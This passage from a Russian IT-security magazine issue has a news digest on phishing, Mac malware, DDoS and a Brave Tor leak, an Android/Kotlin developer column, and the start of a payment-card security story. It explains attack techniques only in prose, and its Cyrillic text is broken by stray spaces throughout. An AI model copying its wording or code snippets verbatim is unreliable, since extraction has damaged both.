интеграц  ии для сбор  ок на Clang.

→ «Обесп  ечение безопас ности ядра Linux очень важ но, так как это крит  ичес ки зна чимая часть
совр  еменн  ых  вычис лений  и  инфраструк туры.  От  всех  нас  треб  ует ся  помогать  всем,  чем  мы
можем, чтоб  ы обесп  ечивать надеж ную защиту.

Мы выража ем особ  ую благ  одар ность Google за подд  ерж  ку работы Гус таво и Натана по раз‐ 
работ ке  безопасн  ости  ядра  Linux,  а  так же  бла годар  им  всех  соп ровож дающих,  раз работч  иков
и орга низа ции, которые совм  ест  но помог ли ядру Linux добить ся общем  иров  ого успех  а»
— Дэвид А. Уилер, предс  та витель Linux Foundation

2 000 000 РУБЛЕЙ
ДЛЯ RUTRACKER

В  кон це  2020  года  админ  ис трац  ия  тор рент‐тре кера  RuTracker  объя  вил  а
о старт  е кра удфандинг  овой камп  ании, средс тва от которой пой дут на покуп ку
жес тких  диск  ов,  необ ходимых  для  сох ранения  раз дач.  Напомн  ю,  что  офи‐ 
циаль но дос туп к ресур су в РФ забл  окиро ван с 2015 года по решению Мос‐ 
горсуд  а.

«Наш  трек  ер  стал  сво его  рода  уни каль ной  библ  иоте кой  не  толь ко
популяр ного,  но  и  редч  айш  его  матери ала,  соб ранно го  и  подд  ержи- 
ваемог о  вами,  нашими  польз  овател  ями  —  сооб щест  вам  и  автор  ов
и релизер  ов, модера торов и хран  ител  ей, энту зиаст  ами, сто рон никами
сво бодн  ого обме на информац  ией, — пишут адми нист  ра торы. — Чрез- 
вычайн  о  важ но  пост  аратьс  я  сох ранить  Рут рекер  как  дост  упную  кол- 
лекцию раз нооб разног о кон тента, иног о дост  упа к котором  у зачас тую
уже не сущест  вуе  т. Одна ко бло киров ка ресурс  а ока зывае  т негативн  ое
вли яние и ста вит под угроз  у мног ооб разие сущест  вую  ще го на пор тале
материа  ла.  Данн  ое  огра ниче ние  лишае  т  все  боль шее  количес тво
наших  польз  овател  ей  воз можност  и  пол ноцен но  учас тво вать  в  фай- 
лооб мене и подд  ержи вать тем самым жизнь и раз витие трек  ера».

Став  я  перед  собой  цель  сох ранить  име ющийс  я  уни кальн  ый  конт  ент  и  обес‐ 
печить  дост  уп  к  нему,  админ  ист  ра торы  объя  ви ли  сбор  средств  на  жест  кие
дис ки для под держ  ки малосид  иру емых раз дач.

Та кие  разд  ачи  уже  более  десяти  лет  подд  ержи вает  груп па  «Хран  ител  и»,
которая доб ровольн  о хран  ит на сво их устрой ствах 1 520 000 разд  ач с малым
количес твом  сидов  общим  объ емом  2470  Тбайт  (это  прим  ерн  о  620  жес тких
дис ков  по  4  Тбайт,  или  поч ти  6  мил лионов  рубл  ей).  Сообщ  ает ся,  что  в  день
эта  груп па  раз дает  100–150  Тбайь  на  редк  их  раз дачах,  но  лич ные  ресур сы
и возм  ожност  и людей огран  ичен ны, и энту зиаст  ы попр  осту не успе вают спа‐ 
сать все исче зающие разд  ачи.

В  ито ге  было  при нято  решение  попытать ся  собр  ать  25  тысяч  долл  аров,
которых  хва тит  на  покупк  у  HDD  сумм  арным  объ емом  600–800  Тбайт.  Соб‐ 
ранные  деньг  и  обещ  али  рас пред  елить  межд  у  пров  еренн  ыми  Хра ните лями,
пре дос тавив им самим решать, какие имен но нуж ны HDD, исхо дя из наличия
сво бод ных  SATA‐сло тов  на  материн ской  плат  е,  мест  а  в  кор пусе,  запаса
по питанию и так далее.

Сбор старт  овал 4 янва ря 2021 года, и в кон це фев раля пос тавлен ная цель
была  дост  игнут  а:  польз  овате ли  соб рали  больш  е  двух  милл  ионов  руб лей.
При  этом  кам пания  по‐преж нему  активна,  то  есть  польз  овател  и  могут  про‐ 
дол жать помогать ресур су и даль ше.

МАЙНИНГ ВЫГОДНЕЕ DDOS?

Рас сказ  ывая о DDoS‐атак  ах в чет вертом кварт  але 2020 года, ана лити ки «Лабора тории Касп  ер‐ 
ског  о» отме чают инте рес ную тенд  енцию: опе ратор  ы мно гих ботн  етов, похоже, перенап равили
часть  свои  х  мощн  остей  на  майн  инг,  что бы  зараженн  ые  устрой ства  при носи ли  больш  ую  при‐ 
быль.

В чет вертом кварт  але 2020 года общее числ  о DDoS‐атак вырос ло на 10% по срав нению с ана‐ 
логич ным перио  дом 2019 года, но при этом сни зилось на 31% по сравн  ению с третьи  м квар‐ 

талом 2020 года.

Cамым  активным  днем  квар тала  с  точк  и  зрен  ия  DDoS  стал  о  31  декабря  2020  года,  ког да
было зафик сирован  о 1349 атак за сут ки.

В целом на сни жение числ  а DDoS‐атак мог пов лиять бурн  ый рост рынк  а крипт  овалю ты: на про‐ 
тяже нии 2019 года и в начале 2020 года чис ло крипт  омай неров падало, но с августа 2020 года
начало резк  о раст  и, а в чет вертом кварт  але вышл  о на плат  о.

По  количест  ву  DDoS‐атак  в  четв  ертом  кварт  але,  как  и  ранее,  лидиро вали  Китай  (58,95%),
США (20,98%) и Гонк  онг (3,55%).
Linux‐ботн  еты исполь зовались поч ти в 100% атак.

→Продолжение статьи

←  Начало статьи

NVIDIA
ПРОТИВ МАЙНЕРОВ

Из‐за рост  а сто имост  и крип товалют и панд  емии корона виру са цены на виде‐ 
окарт  ы дост  игли небывал  ых зна чений, к тому же на рын ке в целом наб люда‐ 
ется  дефицит  видео  карт.  Прич  ем  это  каса ется  не  толь ко  серии  3000,
с которой дела обсто ят сов сем пло хо, но и карт прошл  ых поколе ний. Дош ло
до того, что в начале фев раля комп  ания Nvidia возоб новила пос тавки GeForce
RTX 2060 и GeForce RTX 2060 Super, а такж  е сно ва начала про изво дить чипы
для GeForce GTX 1050 Ti, что бы хоть как‐то бороть ся с возн  икшим дефицит  ом.

Теп  ерь же ком пания объя  ви ла о еще одной мере, которая приз вана сде‐ 
лать  видео  карт  ы  менее  прив лекательн  ыми  для  майн  еров.  В  новой  GeForce
RTX  3060  при нуди тельн  о  ухуд шили  майн  инг  овую  про изво дитель ность.  Хеш‐ 
рейт для добычи Ethereum на этой карт  е занижен в два раза.

«Мы гейм  еры до моз га кост  ей. Мы зацикл  ены на новых игро вых фун- 
кци ях, новой архит  ект  уре, новых играх и тех нологи ях. Мы раз работал  и
гра фическ  ие  проц  есс  оры  GeForce  для  гейм  еров,  и  гей меры  треб  уют
больш  его.

Но  гра фичес кие  про цесс  оры  Nvidia  прог рамми руемы.  И  поль- 
зовате ли  пост  оянн  о  откры вают  новые  прил  оже ния,  от  модели рован  ия
погоды  и  опре делен  ия  посл  едоват  ельн  ос ти  генов  до  глуб  око го  обу- 
чения  и  робото техн  ики.  Май нинг  крипт  овалю ты  —  один  из  таких  слу- 
чаев.  Драй веры  для  RTX  3060  пред назна чены  для  обна руже ния  опре- 
делен ных  атриб  утов  алгор  ит ма  май нин га  крипт  овалют  ы  Ethereum
и  огра ниче ния  хешр  ейт  а  (или  эффективн  ости  майн  ин га)  прим  ер но
на 50%», — гла сит офи циаль ное заяв ление комп  ании.

Предв  идя  разоча рова ние  майн  еров,  предс  тав  ите ли  Nvidia  сообщ  ают,  что
ско ро выпуст  ят новую линейк  у спец  иальн  ых майн  ин говых виде окарт — NVIDIA
CMP (Cryptocurrency Mining Processor). У карт серии CMP не будет видео  вы‐ 
ходов, а такж  е они получат более низк  ое пиковое нап ряжение ядра и час тоту,
что повысит их энер гоэфф  ектив ность для май нин га.

Из вес тно,  что  в  серии  CMP  будут  пред ставл  ены  четыре  модели,  две
из которых мож но ждать уже в пер вом кварт  але 2021 года, а две оставшие  ся
появят ся на рынк  е во вто ром кварт  але.

270 АДРЕСОВ ДЛЯ ОТМЫВАНИЯ КРИПТЫ

Ока зыва ется,  крипт  овалю ту  отмы вают  через  совс  ем  неболь шой  клас тер  онлайн‐серв  исов,

‑в  числ  е  которых  обменники  с  высокой  сте пенью  риск  а  (с  низ кой  репутац  ией),  игорные

платформы,  спе циаль ные  миксер сервисы,  а  такж  е  финансовые сервисы,  работа‐ 

ющие с крип товалют  ой, но расп  оложенн  ые в юрис дикци ях с высоким уровн  ем риск  а.

По информа ции Chainalysis, лишь небольш  ая групп  а из 270 блокч  ейн‐адре сов отмы ла поряд ка
55% всех крип товалют, связ  анн  ых с раз личной прес тупной деятель ностью. Более того, все го
через  1867  адрес  ов  прошл  о  прим  ер но  75%  всех  крипт  овалют,  связ  анн  ых  с  прес тупной
активностью в 2020 году, то есть порядк  а 1 700 000 000 дол ларов.

То есть сфе ра отмыв  ания крипт  овалю ты находит ся в весь ма уяз вимом положе нии. Всег  о нес‐ 
коль ко хорошо спла ниров  анн  ых опе раций пра воох ранительн  ых орган  ов, напр  авленн  ых на такие
сер висы, могут помешать перемещ  ению незакон ных средств множ  ест  ва прес тупных групп.

ФИШИНГ
МОРЗЯНКОЙ

Журн  алист  ы  Bleeping  Computer  обна ружи ли  на  Reddit  информац  ию  о  новой
фишин говой  камп  ании,  которая  использ  ует  азбу ку  Морз  е  для  обфуска ции
и сок рытия вред  оносн  ых URL‐адре сов во влож  ени ях элект  ронн  ой почт  ы. Про‐ 
веряя  эту  информа цию,  спе циалист  ы  изда ния  нашл  и  мно гочисл  енные
образцы  такой  замас кированн  ой  мал вари,  загр  уженн  ые  на  VirusTotal  в  фев‐ 
рале 2021 года.

Обычн  о  фишинг  овая  ата ка  начина ется  с  элект  рон ного  письм  а,  замас‐ 
кирован ного под инвойс и содер жащего влож  ение, назв  анное по шабл  ону «[
название_компании]_инвойс_[номер]._xlsx.hTML».  По  сути,  вло жение
в форм  ате HTML с таким назв  ани ем выг лядит как инвойс в фор мате Excel.

При  прос мотре  вло жения  в  тек стов  ом  редакт  оре  мож но  увид  еть,  что  в  его
сост  аве есть JavaScript, который сопос тавляе  т букв  ы и циф ры с азбук  ой Мор‐ 
зе. Нап ример, бук ва a отоб ража ется как «.‐», а бук ва b — это «‐...».

Скрипт  вызыва ет  функ  цию  decodeMorse()  для  декодир  ован  ия  мор зянки
в  шес тнадц  атерич ную  сис тему,  а  полученн  ая  таким  обра зом  шест  над‐ 
цатеричн  ая  стро ка  затем  пре обра зует ся  в  теги  JavaScript,  которые  встав‐ 
ляют ся в HTML‐стра ницу.

Эти  скрипт  ы  в  сочета нии  с  HTML‐влож  ение  м  содер жат  разл  ичные  ресур‐ 
сы, необх  одимые для отобр  ажения подд  ель ного фай ла Excel, в котором поль‐ 
зовател  ю  сооб щат,  что  врем  я  его  сес сии  яко бы  истекло  и  нуж но  ввес ти
пароль еще раз. Если польз  ователь поверит и введ  ет свои дан ные в пре дос‐ 
тавленн  ую  фор му,  они  будут  переда ны  на  удал  енн  ый  сайт,  прин  ад лежащий
зло умышл  енни кам.  Издан  ие  отмеч  ает,  что  для  этог  о  мошенн  ики  использ  уют
служ бу  logo.clearbit.com  (внед ряет  логотип  ы  комп  аний‐получат  елей  в  фор му
для вхо да, что бы сде лать ее более убе дительн  ой). Если логотип недос тупен,
использ  ует ся общий логотип Office 365, как на скринш  оте ниже.

По  информа ции  издан  ия,  таким  нап равлен ным  ата кам  уже  подв  ерг  лись
как минимум один надцать комп  аний, вклю чая SGS, Dimensional, Metrohm, SBI
(Mauritius) Ltd, NUOVO IMAIE, Bridgestone, Cargeas, ODDO BHF Asset Manage‐
ment, Dea Capital, Equinti и Capital Four.

30 000 ЗАРАЖЕННЫХ MAC

Эк спер ты  обнар  ужи ли  вре донос  Silver  Sparrow,  активный  как  минимум  с  лета  прошл  ого  года

и уже заразив ший 29 139 сист  ем в 153 стра нах мира.

Ин тересн  о, что спец  иалист  ы пока не зна ют, как имен но рас простра няетс  я Silver Sparrow. Веро‐ 
ятно,  он  скрыв  аетс  я  внут ри  вре донос ной  рекл  амы,  в  пират ских  прил  оже ниях  или  подд  ель ных
обновлен  иях Flash, то есть использ  ует класс  ичес кие вект  оры рас простра нения Mac‐малв  ари.
От дель но подч  ерки ваетс  я, что Silver Sparrow может работать даже в сис темах с новым чипом

Apple M1, и это делае  т его всег  о второй в истории угроз  ой, адап тирован ной для M1.

BRAVE СЛИВАЛ
ONION‐АДРЕСА

Ано нимн  ый ИБ‐эксперт обна ружил, что бра узер Brave, работа ющий в режиме
Tor,  оставлял  след  ы  в  логах  на  DNS‐серв  ере:  раск  рыв  ал  URL‐адре са  onion‐
сайт  ов, которые посещал польз  ователь.

Ре жим Tor был интегрир  ован в Brave еще в 2018 году, он поз воля ет поль‐ 
зовател  ям  посещать  onion‐сайт  ы.  Это  реали зова но  с  помощью  прок сирова‐ 
ния  зап росов  польз  овател  я  через  узлы  Tor,  которые  выпол няют  зап рос
к onion‐ресурс  у вмест  о него, а затем переда ют обратно полученн  ый HTML.

Исс  ле дова тель  сообщ  ил,  что,  ког да  бра узер  работа ет  в  режиме  Private
window with Tor, он передае  т на DNS‐сер вер onion‐адрес  а любых посещае  мых
сайт  ов в форм  ате стан дар тно го DNS‐запр  оса (чего, разуме ется, прои  сход  ить
не дол жно) Так, было про демонс трир  ован  о, что «луковые» адре са DuckDuck‐
Go  и  NY  Times  выпол няли  DNS‐зап росы  к  локальн  о  наст  ро енном  у  DNS‐сер‐ 
веру (общед  ос тупным сер верам Google по IP‐адрес  у 8.8.8.8).

Впер вые  информа ция  об  этой  проб леме  была  опубл  икова на  на  Reddit,
и  сна чала  мно гие  усом нились  в  кор рект  нос ти  выводов  эксперт  а.  Одна ко
вско ре  сущест  во вание  бага  под тверд  или  такие  извес тные  ИБ‐спец  иалис ты,
как  главн  ый  исслед  оват  ель  PortSwigger  Web  Security  Джейм  с  Кеттл  (James
Kettle) и ана литик CERT/CC Уилл Дорм  анн (Will Dormann).

В  ито ге  раз работ чики  Brave  сооб щили,  что  им  извест  но  о  проб леме,  и  патч
для  нее  был  вклю чен  в  сбор ку  Brave  Nightly  еще  в  середи не  февр  аля,  пос ле
получен  ия сооб щения об ошиб ке.

Ис точник  ом  бага  ока зал ся  встро енный  в  Brave  бло кировщ  ик  рекл  амы,
который  использ  овал  DNS‐зап росы  для  обнар  ужен  ия  сай тов,  пыта ющих ся
обойт  и его запр  еты, но исклю чить домены .onion из этих про верок разр  абот‐ 
чики попр  осту забыли.

ДРУГИЕ ИНТЕРЕСНЫЕ СОБЫТИЯ МЕСЯЦА

В коде LastPass для Android наш ли семь встрое  нных трек  еров
Экс  перт  ы FireEye свя зали мног  очис ленные взло мы Accellion с хак‐груп пой FIN11
Прое  кт WACUP исправ  ил множ  ест  во багов в Winamp
Спе циаль ная вер сия Flash для Китая прев ратилась в рекл  амную мал варь
Google Apps Script использ  уют, чтоб  ы воровать дан ные банк  ов ских карт
Об наруже на перв  ая малв  арь для Apple M1
Орг  аниза ция RIPE NCC сообщ  ила о попытк  е взлом  а
Нид  ер ланд ская полиция раз местил  а пре дуп режде ния для хакеров на хакерс  ких форумах
В Windows Defender испра вили баг 12‐летн  ей дав ности
Ук раин ские власт  и арес товали людей, свя занн  ых с шифр  овальщ  иком Egregor

HEADER

ANDROID

БЕЗОПАСНОСТЬ ANDROID 12
И ПРИНЦИП РАБОТЫ КОРУТИН

Евгений Зобнин
Редактор Unixoid и Mobile

[email protected]

Сег  од ня в выпуск  е: security‐новш  ест  ва Android 12, полез ные
и  вред ные  функ  ции‐расш  ирения,  советы  по  работе  с  Flow,
лучш  ее  объя  сне ние  принц  ипа  работы  корутин.  А  так же  под‐ 
борка биб лиотек для прог раммис тов.

ПОЧИТАТЬ

Security-новшества Android 12
First preview of Android 12 — анонс Android 12, самая интер  есн  ая часть которо‐ 
го — новые механиз мы обес печения безопасн  ости.
• Ужес точение  пра вил  рас шариван  ия  cookie  в  WebView.  Вслед

за  Chromium  WebView  теперь  исполь зует  более  жес ткие  прав  ила  рас‐ 
шарива ния куков с атриб  утом SameSite. В част  нос ти, все куки с атриб  утом
SameSite=None обяз  аны иметь атри бут Secure и пересыл  атьс  я по HTTPS,
а  ссылк  и  меж ду  HTTP‐  и  HTTPS‐верс  иями  сай та  теперь  счит  ают ся  cross‐
site‐рекв  естам  и.
• Ог раниче ние  дост  упа  к  MAC-адрес  у.  Android  11  огран  ичил  дост  уп
при ложе ний к MAC‐адрес  у устрой ства, толь ко если при ложен  ие име ет tar‐
getSdkVersion 30, в Android 12 огра ниче ние рас простра няет ся на все при‐ 
ложе ния.
• Не экспорт  иру емые  комп  онент  ы  по  умол чанию.  Для  при ложен  ий,
соб ранных для Android 12 (targetSdkVersion 31), все ком понент  ы (активнос‐ 
ти,  про вай деры,  сер висы)  теперь  авто матич  ес ки  помечаю  тся  как  неэк‐ 
спор тиру емые. Поведе ние можн  о изме нить с помощью атриб  ута android:‐
exported=true.  Этот  атри бут  обя зате лен  для  всех  интент‐филь тров  при‐ 
ложен  ия (инач  е прил  оже ние прос то не уста новит ся на Android 12).
• Бе зопасн  ость PendingIntent. Прил  оже ния, собирае  мые с targetSdkVer‐
sion  31,  теперь  обя заны  помечать  все  PendingIntent  как  изме няемый
или  неиз меняе  мый  (PendingIntent.FLAG_MUTABLE,  PendingIntent.
FLAG_IMMUTABLE). PendingIntent использ  ует ся в Android, что бы позв  олить
сист  еме  или  сто рон ним  прил  оже ниям  передать  интент  от  имен  и  друг  ого
при ложе ния.
• Борьб  а  с  оверл  еями.  Android  12  зап рещае  т  нажимать  элем  ент  ы
интерфейс  а  сквозь  непр  озрачн  ые  оверл  еи  (окна,  показы ваемые  поверх
всех  прил  ожен  ий)  за  нес коль кими  исклю чения  ми:  окна  ассистент  ов,
помощн  иков для людей с огран  иченн  ыми воз можност  ями и экранных кла‐ 
виатур.
• Зап рет  на  запуск  foreground-серв  исов  в  фоне.  Прил  ожен  ия,  соб‐ 
ранные  с  targetSdkVersion  31,  не  смо гут  запуск  ать  foreground‐серв  исы
в фоне.
• Запр  ет  на  зак рытие  сис темных  диалог  ов.  Интент  ACTION_­
CLOSE_SYSTEM_DIALOGS объя  влен уста рев шим и больш  е не работае  т.

РАЗРАБОТЧИКУ

Полезные функции-расширения
5  Kotlin  Extensions  To  Make  Your  Android  Code  More  Expressive  —  оче ред ная
статья  о  том,  как  сде лать  код  на  Kotlin  выразит  ель нее  с  помощью  фун‐ 
кций‐рас ширений.
1. Фун кции для показа и скрыт  ия элем  ент  ов интерфей са:

fun View.show(){
  this.visibility = View.VISIBLE
}

fun View.hide() {
  this.visibility = View.INVISIBLE
}

fun View.remove(){
  this.visibility = View.GONE
}

2. Функ  ции валида ции строк:

fun String?.valid(): Boolean = this != null && !this.equals("null"
, true) && this.trim().isNotEmpty()

fun String.isValidEmail(): Boolean = this.isNotEmpty() && Patterns
.EMAIL_ADDRESS.matcher(this).matches()

fun String.formatPhoneNumber(context: Context, region: String): 
String? {
  val phoneNumberKit = PhoneNumberUtil.createInstance(context)
  val number = phoneNumberKit.parse(this, region)
  if (!phoneNumberKit.isValidNumber(number))
    return null

  return phoneNumberKit.format(number, PhoneNumberUtil.
PhoneNumberFormat.INTERNATIONAL)

3. Фун кции для работы с банд  ла ми:

inline fun <reified T: Any> Activity.getValue(lable: String, 
defaultvalue: T? = null) = lazy{
  val value = intent?.extras?.get(lable)
  if (value is T) value else defaultvalue
}

inline fun <reified T: Any> Activity.getValueNonNull(lable: String
, defaultvalue: T? = null) = lazy{
  val value = intent?.extras?.get(lable)
  requireNotNull((if (value is T) value else defaultvalue)){lable}
}

inline fun <reified T: Any> Fragment.getValue(lable: String, 
defaultvalue: T? = null) = lazy {
  val value = arguments?.get(lable)
  if (value is T) value else defaultvalue
}

inline fun <reified T: Any> Fragment.getValueNonNull(lable: String
, defaultvalue: T? = null) = lazy {
  val value = arguments?.get(lable)
  requireNotNull(if (value is T) value else defaultvalue) { lable 
}
}

4. Фун кции для извле чения ресурс  ов:

fun Int.asColor() = ContextCompat.getColor(ApplicationCalss.
instance, this)
fun Int.asDrawable() = ContextCompat.getDrawable(MavrikApplication
.instance, this)

5. По каз диало гов и сооб щений:

fun Context.showAlertDialog(positiveButtonLable: String = 
getString(R.string.okay), title: String = getString(R.string.
app_name), message: String, actionOnPositveButton: () ‐> Unit) {
  val builder = AlertDialog.Builder(this)
    .setTitle(title)
    .setMessage(message)
    .setCancelable(false)
    .setPositiveButton(positiveButtonLable) { dialog, id ‐>
      dialog.cancel()
      actionOnPositveButton()
    }
  val alert = builder.create()
  alert?.show()
}

fun Context.showShotToast(message: String){
  Toast.makeText(this, message, Toast.LENGTH_SHORT).show()
}

fun Context.showLongToast(message: String){
  Toast.makeText(this, message, Toast.LENGTH_LONG).show()
}

fun View.showShotSnackbar(message: String){
  Snackbar.make(this, message, Snackbar.LENGTH_SHORT).show()
}

fun View.showLongSnackbar(message: String){
  Snackbar.make(this, message, Snackbar.LENGTH_LONG).show()
}

fun View.snackBarWithAction(message: String, actionlable: String, 
block: () ‐> Unit){
  Snackbar.make(this, message, Snackbar.LENGTH_LONG)
    .setAction(actionlable) {
      block()
    }
}

Вредные функции-расширения
Bad Kotlin Extensions — статья о том, как не надо писать функ  ции‐рас ширения
на Kotlin. Боль шая часть текс  та осно вана на стан дар тных прав  илах соз дания
функ  ций:  фун кция  не  дол жна  делать  боль ше,  чем  заявл  ено  в  ее  наз вании;
фун кция долж  на иметь чет кое имя, которое на 100% однознач но отра жает ее
суть, и так далее. Но есть и нес коль ко весь ма интер  ес ных прим  еров:

operator fun Int.not(): Int {
   return factorial(this)

}

Эта  функ  ция‐расш  ирение  позв  оляе  т  счи тать  факт  ори ал  с  помощью  такой
записи:

!5

Она весь ма похожа на запись 5!, которая использ  ует ся для расч  ета фак тори‐ 
ала  в  матема тике.  Одна ко  в  данн  ом  случ  ае  такая  форм  а,  конечн  о  же,  будет
сбив  ать  с  тол ку,  так  как  в  язык  ах  прог рамми рова ния  вос кли цательн  ый  знак
почт  и всегд  а озна чает отри цание.

Еще один интер  есн  ый прим  ер:

operator File.div(fileName: String): File = File(this, fileName)

Данн  ая фун кция поз воля ет делать так:

val file = File("src") / "main" / "java" / "com"

Выг лядит  класс  но,  но  поль зы  тут  не  так  уж  и  мног  о,  а  оверх  ед  от  созд  ания
четырех объ ектов высокий.

Лучший способ сбора данных из Flow
The  Best  Way  to  Collect  a  Flow  in  Kotlin  —  launchIn  —  неболь шая  замет ка
о неоче видн  ых момен тах Kotlin Flow API и фун кции launchIn.

Пред ста вим,  что  нам  необх  одимо  соб рать  дан ные  из  Flow.  Спо соб  сде‐ 
лать это «в лоб» выг лядел бы так:

scope.launch {
 flow
   .onEach { println(it) }
   .collect()

}

Одн  ако «каноничн  ый» спо соб будет дру гим:

flow
 .onEach { println(it) }
 .launchIn(scope)

И это не прост  о синт  акси ческ  ий сахар. LaunchIn позв  оляе  т избеж  ать весьм  а
неочев  ид ных проб лем с при ложе нием.

К  прим  еру,  когд  а  нуж но  соб рать  дан ные  из  двух  Flow,  легк  о  ошиб  итьс  я
и сде лать это так:

scope.launch {
 flow1
   .onEach { println(it) }
   .collect()

 flow2
   .onEach { println(it) }
   .collect()
}

Ошиб ка  здесь  в  том,  что  дан ные  из  двух  Flow  не  будут  собирать ся  одновре‐ 
менн  о. Сна чала будут получе ны все данн  ые из flow1, и толь ко затем нач нется
сбор flow2.

Исп  ра вить это некано ничн  ым путем мож но так:

scope.launch {
 flow1
   .collect { println(it) }

}
scope.launch {

 flow2
   .collect { println(it) }
}

Од нако при использ  овании launchIn такого не воз никнет в прин ципе:

flow1
 .onEach { println(it) }
 .launchIn(coroutineScope)

flow2
 .onEach { println(it) }
 .launchIn(coroutineScope)

Как работают корутины
Lets build a coroutine — хорошая статья, объя  сня ющая на паль цах, как работа‐ 
ют корутин  ы в Kotlin и друг  их язы ках.

Разр  абот чики  Kotlin  называ ют  корути ны  лег ковесн  ыми  потока ми.  Одна ко
такое объ яснен  ие не помогае  т понять их сути и даже меша ет это му. На самом
же деле корути ны довольн  о прост  ая, но мало похожая на потоки конц  епция.

Что бы  разоб ратьс  я  с  корутин  ами  (coroutine),  надо  понять,  что  такое  rou‐
tine. А это не что иное, как фун кция. Нап ример, такая:

fun saveUserTasks(userId: Int) {
 val user = loadUser(userId)
 println("user loaded")

 val tasks = loadTasks(user)
 println("tasks loaded")

 saveTasks(tasks)
}

Две отлич  итель ные черт  ы фун кций:
• они  не  име ют  сост  ояния  и  всег да  запус кают ся  «с  чис того  лист  а»  (если,

конечн  о, не использ  уют гло баль ные перемен ные);
• функ  ция  дол жна  заверш  ить  свое  исполне ние,  перед  тем  как  верн  уть

управле ние выз вавшем  у ее коду.

Ко рути на,  с  дру гой  сто роны,  имее  т  сос тояние  и  может  прио  стан  ав ливать
и  возобн  овлять  свое  исполнен  ие  в  опре делен ных  точк  ах  (воз вра щая,  таким
образ  ом, управле ние еще до заверш  ения свое  го исполнен  ия).

Есл  и  мы  попр  обу ем  вручн  ую  пре обра зовать  прив  еденн  ую  выше  функ  цию
в корутин  у, то получим нечт  о врод  е этог  о:

class State(
 var label: Int = 0,
 var result: Any? = null

)

fun saveUserTasks(userId: Int, state: State) {
 when (state.label) {
   0 ‐> {
     val user = loadUser(userId)
     println("user loaded")
     state.result = user
     // Точка остановки исполнения
   }

   1 ‐> {
     // Точка возобновления исполнения
     val user = state.result as User
     val tasks = loadTasks(user)
     println("tasks loaded")
     state.result = tasks
     // Точка остановки исполнения
   }

   2 ‐> {
     // Точка возобновления исполнения
     val tasks = state.result as List<Task>
     saveTasks(tasks)
   }
 }
}

Те перь мы можем запус тить нашу доморо щенн  ую «корути ну» на выполн  ение
с помощью такого кода:

fun main() {
 val state = State()
 saveUserTasks(7, state)
 saveUserTasks(7, state)
 saveUserTasks(7, state)

}

Рез  уль тат  будет  тот  же,  что  и  в  случ  ае  при веденн  ой  в  начале  класс  ичес кой
функ  ции.  Но  теперь  у  нас  появи лась  возм  ожность  запус кать  и  при остан  ав‐ 
ливать  исполнен  ие  фун кции  в  неск  ольк  их  точк  ах.  Если  мы  добавим  сюда
еще неск  оль ко подоб ных корутин, то смож  ем выпол нять их фраг менты пооче‐ 
ред но, соз дав иллю зию одновре менн  ого исполнен  ия.

Именн  о  так  работа ют  корути ны  в  Kotlin.  Он  превр  ащае  т  фун кции
с  модифик  ато ром  suspend  в  объе  кт  класс  а  Continuation,  который  внут ри
предс  тавл  яет  собой  прим  ер но  такую  же  машину  сос тояний,  которую  мы
изоб рели  чуть  выше.  Точ ки  оста нов ки  при  этом  появл  яют ся  в  мест  ах  вызова
дру гих suspend‐фун кций.

БИБЛИОТЕКИ

• Karavel — биб лиотек  а навигац  ии для Jetpack Compose;
• Baloon  —  библ  иоте ка,  поз воляю  щая  соз давать  всплы вающие  подс  каз ки

для элем  ент  ов интерфей са;
• Multik — офиц  иальн  ая библ  иоте ка Kotlin для работы с мно гомер ными мас‐ 

сивами;
• Linkt — биб лиотек  а для работы с глу боким  и ссыл ками (deep link);
• Bouncy — аним  ация оверск  рол ла в сти ле iOS для RecyclerView;
• GaugeProgressView — очер  ед ной кру говой прогр  есс‐бар.

COVERSTORY

БЛИЗКИЕ

КОНТАКТЫ

РАЗБИРАЕМСЯ, КАК РАБОТАЮТ
СИСТЕМЫ БЕЗОПАСНОСТИ
КРЕДИТНЫХ КАРТ

Тимур Юнусов

В  тво ем  кошель ке  навер няка  есть  неск  оль ко  карт  меж‐ 
дународн  ых  пла тежн  ых  сис тем,  таких  как  Visa  или  Master‐
Card.  Задумы вал ся  ли  ты,  какие  алго рит мы  использ  уютс  я
в  этих  карт  ах?  Наск  оль ко  плат  ежи  безопасн  ы?  Мы  расп  ла‐ 
чивае  мся карт  ами каж дый день, но дост  овер но знае  м о них
край не  мало.  Еще  боль ше  мифов  соп ровож дает  карт  очные
пла тежи. Чтоб  ы понять, какие есть спо собы похитить деньг  и
с  карт  ы,  нуж но  сна чала  уяс нить,  как  прои  сход  ит  оплат  а.
Давай разб  иратьс  я вмест  е.

НОМЕР КАРТЫ
Опл  ата  по  номеру  кар ты  истор  ическ  и  —  самая  старш  ая.  Раньш  е  на  карт  ах
не  было  ничего,  кро ме  это го  номера.  Номер  был  «эмбосси рован»  —  выдав‐ 
лен на карт  е. При опла те кар та «про каты валась» на спе циаль ном устройс  тве,
что  позв  оляло  про давц  у  быст  ро  внес ти  номер  в  древ нюю  замену  базы  дан‐ 
ных, то есть отпе чатать на лист  е бумаги.

В кон це рабочег  о дня или недели эти данн  ые собира лись и переда вались
в банк‐эквайе  р. Далее банк отправл  ял запр  осы на спи сание этих денег у вла‐ 
дель цев карт через банк  и‐эми тент  ы. Это было так давн  о, что немн  ого людей
зна ют, откуд  а появил ся трехз  начн  ый код верифик  ации пла тежей, записанн  ый
на  обратной  сто роне  карт  ы,  так  называе  мый  CVV2/CVC2.  До  нас  дош ла
информац  ия, что этот код использ  овал ся скор  ее как конт  рольн  ая сум ма, нуж‐ 
ная,  что бы  влад  елец  карт  ы  не  ошиб ся  и  корр  ек тно  ввел  всю  информац  ию
при опла те. Похоже на правд  у, если учесть, нас коль ко корот кий этот код.

Сейч  ас  физическ  ая  кар та  может  и  вовс  е  не  участ  во вать  в  оплат  е.
Это  называ ется  card  not  present  и  чаще  всег  о  использ  ует ся  при  опла те
в интернет  е. Если номер карт  ы ввод  ит ся при оплат  е в плат  еж ном тер минале,
а  это  харак терно  для  отел  ей,  бизн  есов,  ведущих  дела  по  телефо ну,  а  такж  е
для больш  инс тва терм  иналов в США, такой под тип пла тежей называ ется PAN
Key Entry.

Мно гие до сих пор счи тают, что поле Cardholder name с лицевой стор  оны
карт  ы нужн  о вво дить кор рек тно и что оно пров  еря ется. Это не так — ни один
банк не про веряе  т это поле.

МАГНИТНАЯ ПОЛОСА
Опер  ации с магн  итной полосой — один из самых прост  ых методов. Он ассо‐ 
циирует ся  у  людей  с  опред  елен ными  типами  мошен ничест  ва.  Скимм  инг
в  банк  оматах,  двой ные  снят  ия  в  рес торанах  —  все  это  воз можно  благ  ода ря
